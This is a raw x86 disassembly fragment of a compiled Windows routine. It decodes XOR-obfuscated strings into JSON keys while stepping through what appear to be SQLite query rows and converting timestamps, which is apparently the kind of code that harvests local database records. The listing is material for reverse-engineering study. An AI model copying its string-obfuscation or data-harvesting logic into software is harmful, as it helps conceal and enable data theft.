mov dword [ebp - 0x164], esi
mov edx, dword [ebp - 0x1c]
xorps xmm0, xmm0
mov ecx, edx
mov byte [ebp - 4], 0x26
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x1c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x434e50
sub ecx, dword [ebp - 0x1c]
push ecx
push edx
mov ecx, esi
call fcn.00402b80
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x158], esi
mov byte [ebp - 4], 0x27
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xf3], al
inc ecx
cmp ecx, 3
jb 0x434e80
mov dword [0x55d590], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xf3]
mov byte [ebp - 0xf0], 0
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x434ec0
sub ecx, edx
lea eax, [ebp - 0xf3]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402b80
mov eax, dword [ebp - 0x14]
or eax, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0x3c]
cmp dword [ebp - 0x28], 0x10
lea ecx, [ebp - 0x110]
cmovae eax, dword [ebp - 0x3c]
push eax
call fcn.00486ff0
mov esi, eax
mov cl, byte [esi]
mov eax, dword [ebp - 0x154]
mov edi, dword [ebp - 0x74]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x160], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x158], ecx
lea ecx, [ebp - 0x160]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x154], edx
call fcn.00480b00
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x28]
mov edi, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x434f74
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434f6a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43543a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
test edi, edi
je 0x434fc9
cmp dword [edi + 0x2c], 0
je 0x434fa4
mov eax, 1
cmp ax, word [edi + 0x30]
jae 0x434fa4
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x434f9c
push eax
call dword [0x55ad18]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x28
jmp 0x434fce
mov eax, dword [edi]
test eax, eax
je 0x434fc9
mov eax, dword [eax + 0x44]
test eax, eax
je 0x434fbb
push eax
call dword [0x55ad18]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.004ab9b0
add esp, 0xc
mov ecx, 0x5404d0
mov dl, 1
call fcn.004b9ed0
mov dword [ebp - 0x24], eax
test edi, edi
je 0x435032
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x435012
cmp byte [esi + 0x1e], 0
jne 0x434ff5
mov edx, esi
cmp ecx, 0xc0a
jne 0x43500d
push 0
push 7
push esi
call fcn.004ab9b0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x435019
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x43502f
push eax
call dword [0x55ad20]
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
call fcn.00508a14
add esp, 4
push 0
push 0xf4240
push edx
push eax
call fcn.00520600
sub eax, 0xb6109100
mov dword [ebp - 0xe6], 0xefe4e1f3
mov dword [ebp - 0xd8], eax
xorps xmm0, xmm0
lea eax, [ebp - 0xd8]
movq qword [ebp - 0xe2], xmm0
push eax
lea eax, [ebp - 0x128]
mov word [ebp - 0xda], 0
sbb edx, 2
mov byte [ebp - 0x128], 0
push eax
mov dword [ebp - 0xd4], edx
movq qword [ebp - 0x120], xmm0
call fcn.00493e80
mov byte [ebp - 4], 0x2a
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xe6], al
inc ecx
cmp ecx, 4
jb 0x4350a3
mov dword [0x55d5d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xe6]
mov byte [ebp - 0xe2], 0
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4350e0
sub ecx, edx
lea eax, [ebp - 0xe6]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402b80
mov eax, dword [ebp - 0x14]
or eax, 0x20
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x3c]
cmp dword [ebp - 0x28], 0x10
lea ecx, [ebp - 0x110]
cmovae eax, dword [ebp - 0x3c]
push eax
call fcn.00486ff0
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0x128]
mov eax, dword [ebp - 0x120]
mov byte [edi], cl
mov ecx, dword [ebp - 0x11c]
mov esi, dword [edi + 0xc]
mov byte [ebp - 0x128], dl
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x128]
mov dword [edi + 8], eax
mov dword [ebp - 0x120], edx
mov dword [ebp - 0x11c], esi
call fcn.00480b00
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x435199
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43518f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43543a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
push dword [ebp - 0x48]
lea ecx, [ebp - 0xa8]
call fcn.00480770
lea ecx, [ebp - 0x110]
push ecx
mov ecx, eax
call fcn.00480490
lea ecx, [ebp - 0x110]
mov byte [ebp - 4], 0x23
call fcn.00480b00
mov edi, dword [ebp - 0x44]
mov ecx, edi
call fcn.004bd060
cmp eax, 0x64
je 0x434d12
test edi, edi
je 0x435253
mov esi, dword [edi]
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x4351f5
push eax
call dword [0x55ad18]
add esp, 4
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x24], 0
cmp eax, 0xbdf20da3
je 0x43520d
cmp eax, 0x519c2973
jne 0x435217
mov ecx, edi
call fcn.004bbe30
mov dword [ebp - 0x24], eax
mov ecx, edi
call fcn.004bc040
test esi, esi
je 0x435242
cmp byte [esi + 0x1e], 0
jne 0x435231
cmp dword [ebp - 0x24], 0xc0a
jne 0x435242
push 0
push 7
push esi
call fcn.004ab9b0
add esp, 0xc
mov byte [esi + 0x1e], 0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x435253
push eax
call dword [0x55ad20]
add esp, 4
mov ecx, dword [ebp - 0x4c]
call fcn.00419b90
movaps xmm0, xmmword [0x548080]
xor ecx, ecx
mov byte [ebp - 0xb9], 0xef
movups xmmword [ebp - 0xb8], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xb9], al
inc ecx
cmp ecx, 7
jb 0x435272
mov dword [0x55d560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xb9]
mov byte [ebp - 0xb2], 0
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4352b0
sub ecx, edx
lea eax, [ebp - 0xb9]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402b80
mov eax, dword [ebp - 0x14]
or eax, 0x40
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x2d
lea eax, [ebp - 0x3c]
cmp dword [ebp - 0x28], 0x10
mov ecx, dword [ebp - 0x114]
cmovae eax, dword [ebp - 0x3c]
push eax
call fcn.00486ff0
lea ecx, [ebp - 0xa8]
push ecx
mov ecx, eax
call fcn.00480490
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x435336
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43532c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43543a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x43536e
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x435364
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43543a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], 0
mov byte [ebp - 4], 8
call fcn.00480b00
mov esi, dword [ebp - 0x40]
inc esi
mov dword [ebp - 0x40], esi
cmp esi, dword [ebp - 0xc8]
jb 0x434600
lea ecx, [ebp - 0x70]
call fcn.00485200
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0x10
jb 0x4353e4
mov edx, dword [ebp - 0x140]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4353da
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x435444
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebx + 0x20]
cmp ecx, 0x10
jb 0x43403d
mov edx, dword [ebx + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434033
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x435444
jmp 0x434033
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00500390
call fcn.004023f0
call fcn.00500390
lea ecx, [ebp - 0xa8]
call fcn.00484ce0
push eax
lea ecx, [ebp - 0x1cc]
call fcn.00402ab0
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1b4]
call fcn.00486e40
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x184]
call fcn.00408cb0
add esp, 4
lea eax, [ebp - 0x184]
push 0x558298
push eax
call fcn.004fcadb
int3